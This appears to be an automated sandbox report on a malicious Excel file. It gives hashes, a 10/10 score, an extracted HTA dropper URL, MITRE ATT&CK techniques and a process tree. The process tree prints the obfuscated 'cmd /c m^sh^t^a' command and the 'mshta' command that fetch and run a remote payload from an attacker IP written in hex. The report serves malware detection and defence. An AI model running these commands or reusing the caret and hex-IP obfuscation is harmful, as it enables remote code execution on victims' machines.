98ceb3e609df5848288d4b3f43b4592da85021ba66ef47bcb54d6afc01e28e95

General

Target

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654
SSDEEP

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4260	3552	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	4328	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3552	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE
3552	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3552 wrote to memory of 4260	3552	EXCEL.EXE	86
PID 3552 wrote to memory of 4260	3552	EXCEL.EXE	86
PID 4260 wrote to memory of 4328	4260	cmd.exe	88
PID 4260 wrote to memory of 4328	4260	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3552
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4260
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:4328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
1c44cd0e4e49b5913a5f1eb567bdfd4c

SHA1
7c411851e263488cb8fc16c19805485b38052ca4

SHA256
f7caaf8a487219cc903d41ed5ae727ef653729e16d971e16f2ed6a0b7e67ca17

SHA512
c595652c0314ece1089abb88728d8896e231ea7a77f76fb00e7e3a46c2c743fbfcc4d05bc711ad8d7c16069608854c74bf00a6fc40965a2e18047414e7ee417e

Download Submit
memory/3552-9-0x00007FFC6F2B0000-0x00007FFC6F4A5000-memory.dmp

Filesize
2.0MB

Download
memory/3552-0-0x00007FFC2F330000-0x00007FFC2F340000-memory.dmp

Filesize
64KB

Download
memory/3552-10-0x00007FFC6F2B0000-0x00007FFC6F4A5000-memory.dmp

Filesize
2.0MB

Download
memory/3552-6-0x00007FFC6F2B0000-0x00007FFC6F4A5000-memory.dmp

Filesize
2.0MB

Download
memory/3552-5-0x00007FFC6F2B0000-0x00007FFC6F4A5000-memory.dmp

Filesize
2.0MB

Download
memory/3552-4-0x00007FFC2F330000-0x00007FFC2F340000-memory.dmp

Filesize
64KB

Download
memory/3552-7-0x00007FFC2F330000-0x00007FFC2F340000-memory.dmp

Filesize
64KB

Download
memory/3552-8-0x00007FFC6F2B0000-0x00007FFC6F4A5000-memory.dmp

Filesize
2.0MB

Download
memory/3552-2-0x00007FFC2F330000-0x00007FFC2F340000-memory.dmp

Filesize
64KB

Download
memory/3552-3-0x00007FFC2F330000-0x00007FFC2F340000-memory.dmp

Filesize
64KB

Download
memory/3552-13-0x00007FFC6F2B0000-0x00007FFC6F4A5000-memory.dmp

Filesize
2.0MB

Download
memory/3552-11-0x00007FFC2D1D0000-0x00007FFC2D1E0000-memory.dmp

Filesize
64KB

Download
memory/3552-15-0x00007FFC2D1D0000-0x00007FFC2D1E0000-memory.dmp

Filesize
64KB

Download
memory/3552-14-0x00007FFC6F2B0000-0x00007FFC6F4A5000-memory.dmp

Filesize
2.0MB

Download
memory/3552-12-0x00007FFC6F2B0000-0x00007FFC6F4A5000-memory.dmp

Filesize
2.0MB

Download
memory/3552-26-0x00007FFC6F2B0000-0x00007FFC6F4A5000-memory.dmp

Filesize
2.0MB

Download
memory/3552-27-0x00007FFC6F34D000-0x00007FFC6F34E000-memory.dmp

Filesize
4KB

Download
memory/3552-28-0x00007FFC6F2B0000-0x00007FFC6F4A5000-memory.dmp

Filesize
2.0MB

Download
memory/3552-1-0x00007FFC6F34D000-0x00007FFC6F34E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads